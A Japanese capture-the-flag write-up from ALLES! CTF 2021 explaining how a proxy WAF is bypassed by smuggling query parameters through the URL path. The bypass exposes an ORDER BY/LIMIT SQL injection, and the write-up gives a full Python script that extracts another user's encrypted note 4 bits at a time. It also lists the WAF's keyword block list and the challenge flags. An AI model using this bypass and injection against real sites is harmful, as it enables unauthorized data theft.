9/4 - 9/5という日程で開催された。zer0ptsで参加して15位。
他のメンバーが書いたwrite-up:
[Web 104] Sanity Check (498 solves)
You aren't a 🤖, right?
という問題文から robots.txt
だなあとわかる。
ALLES!{1_nice_san1ty_ch3k}
[Web 229] Amazing Crypto WAF (23 solves)
Pastebin的なサービス。次の docker-compose.yml
からわかるように、表からアクセスできるのは crypter
というサービスだけ。これがバックエンドの app
とクライアントの間に立つ仲介者として機能するという構成になっている。SQLiteのDBにユーザの情報やらメモやらが保存されているが、その内容はAESで暗号化されている。
version: '3.7' services: app: build: context: app/ crypter: build: context: crypter/ depends_on: - "app" ports: - 5000:1024
フラグは以下のように flagger
というユーザのメモとして保存されている。
import requests import uuid from logzero import logger # create flag user pw = uuid.uuid4().hex flag = open('flag', 'rb').read() logger.info(f'flagger password: {pw}') s = requests.Session() r = s.post(f'http://127.0.0.1:1024/registerlogin', data={'username': 'flagger','password':pw}, allow_redirects=False) s.post(f'http://127.0.0.1:1024/add_note', data={'body': flag, 'title':'flag'}, allow_redirects=False)
私が問題を確認した時点で、nyankoさんによって app
の /notes
で ORDER BY
句以降のSQLiができることがわかっていた。
@app.route('/notes') @login_required def notes(): order = request.args.get('order', 'desc') notes = query_db(f'select * from notes where user = ? order by timestamp {order}', [g.user['uuid']]) return render_template('notes.html', user=g.user, notes=notes)
この app
の notes
には crypter
を通してアクセスできるが、crypter
は以下のように SELECT
や UNION
がGETパラメータに含まれていることが確認できればそこで処理を打ち切ってしまう。特に WHERE
句で既にレコードがログインしているユーザの投稿だけに絞られている状況では、SQLiでは他のレコードの情報を抽出するのは難しいように思える。
# the WAF is still early in development and only protects a few cases def waf_param(param): MALICIOUS = ['select', 'union', 'alert', 'script', 'sleep', '"', '\'', '<'] for key in param: val = param.get(key, '') while val != unquote(val): val = unquote(val) for evil in MALICIOUS: if evil.lower() in val.lower(): raise Exception('hacker detected')
waf_param
を呼び出す側はこんな感じ。
@app.route('/', defaults={'path': ''}) @app.route('/<path:path>', methods=['POST', 'GET']) def proxy(path): # Web Application Firewall try: waf_param(request.args) waf_param(request.form) except: return 'error' …
なんとかできないか、crypter
がこのWAFによるフィルター以降で何をしているか見ていく。フィルターの直後で request.query_string
からすべてのGETパラメータを、path
からリクエストされたパスを取得している。その後 {BACKEND_URL}{path}?{query}
に requests
でHTTPリクエストを送り、HTTPレスポンスに含まれる暗号化された内容の復号などを行った上でHTTPレスポンスを返している。
# contact backend server proxy_request = None query = request.query_string.decode() headers = {'Cookie': request.headers.get('Cookie', None) } if request.method=='GET': proxy_request = requests.get(f'{BACKEND_URL}{path}?{query}', headers=headers, allow_redirects=False) elif request.method=='POST': headers['Content-type'] = request.content_type proxy_request = requests.post(f'{BACKEND_URL}{path}?{query}', data=encrypt_params(request.form), headers=headers, allow_redirects=False) if not proxy_request: return 'error' response_data = decrypt_data(proxy_request.content) injected_data = inject_ad(response_data) resp = make_response(injected_data) resp.status = proxy_request.status_code if proxy_request.headers.get('Location', None): resp.headers['Location'] = proxy_request.headers.get('Location') if proxy_request.headers.get('Set-Cookie', None): resp.headers['Set-Cookie'] = proxy_request.headers.get('Set-Cookie') if proxy_request.headers.get('Content-Type', None): resp.content_type = proxy_request.headers.get('Content-Type') return resp
実はこの path
はパーセントエンコーディングされていないので、例えば /notes%3forder%3dasc%26
にアクセスすると、バックエンドの app
に対して http://127.0.0.1:5000/notes?order=asc&?
のような形でHTTPリクエストが送られてしまう。crypter
のWAFがチェックしているのは request.args
と request.form
のみで、path
はGETパラメータでもPOSTで送られたパラメータでもないからWAFをバイパスできてしまう。これで /notes
のSQLiが叩けるようになった。
SQLiで情報を抽出する方法を考える。SQLiteの公式ページには SELECT
文のrailroad diagramが載っているが、これを見ると ORDER BY
句の後ろでは LIMIT
句が使え、さらに LIMIT
句では SELECT
を含めた式が使えることがわかる。あらかじめ数件のメモを投稿しておいて、LIMIT
句内の件数として unicode(substr(sqlite_version(), 3, 1)) & 15
のように数値として抽出したいデータの一部を与えると、その結果が出力された件数から得られる。
path
を使えばWAFをバイパスできるということに気づいたのはCTFの終了間際で、暗号化されたフラグは長いことが予想されたので、4ビットずつデータを抽出する方法を採ることにした。これなら最初に投稿するメモの数は15個で済むし、1文字につき2回のリクエストで抽出できる。
まず1ビットずつの抽出を考えたが、前述の通り抽出したいデータはAESで暗号化されたバイト列をBase64でエンコードしたものであるから、きっと長くなるだろうと考えてやめた。7ビットずつ抽出しようとすれば1回のリクエストで1文字を抽出できるが、最初に127個のメモを投稿する必要があるし、なぜかメモの数が増えれば増えるほどメモの投稿に時間がかかるから、結果的に4ビットずつ抽出する場合より遅くなってしまうと考えた。ということで、書いたスクリプトはこんな感じ:
import uuid import requests import urllib.parse def query(sess, payload): r = sess.get(URL + 'notes%3forder%3d' + urllib.parse.quote(payload) + '%26') return r.text.count('name="uuid"') #URL = 'http://localhost:5000/' URL = 'https://7b0000006e9e16b460eef310-amazing-crypto-waf.challenge.master.allesctf.net:31337/' sess = requests.Session() sess.post(URL + 'registerlogin', data={ 'username': str(uuid.uuid4()), 'password': str(uuid.uuid4()) }) print('chotto mattene') for _ in range(15): print(_) sess.post(URL + 'add_note', data={ 'body': str(uuid.uuid4()), 'title': str(uuid.uuid4()) }) print('okay') i = 1 res = '' while True: a = query(sess, f"asc limit (select unicode(substr((select body from notes where user in (select uuid from users where username in ('flagger'))), {i}, 1)) >> 4)") b = query(sess, f"asc limit (select (unicode(substr((select body from notes where user in (select uuid from users where username in ('flagger'))), {i}, 1)) | 240) - 240)") res += chr((a << 4) | b) print(i, res) i += 1
実行すると以下のように出力された。無事暗号化されたフラグが抽出できたようだ。
$ python3 solve.py 155 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblB 156 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblBp 157 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblBpZ 158 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblBpZz 159 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblBpZz0 160 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblBpZz09
ENCRYPT:…
という文字列をユーザ名として登録すると ALLES!{American_scientists_said,_dont_do_WAFs!}
とフラグが出力されたが、CTFの終了時刻である13時を1分過ぎており、手遅れだった。
— st98 (@st98_) September 5, 2021
ALLES!{American_scientists_said,_dont_do_WAFs!}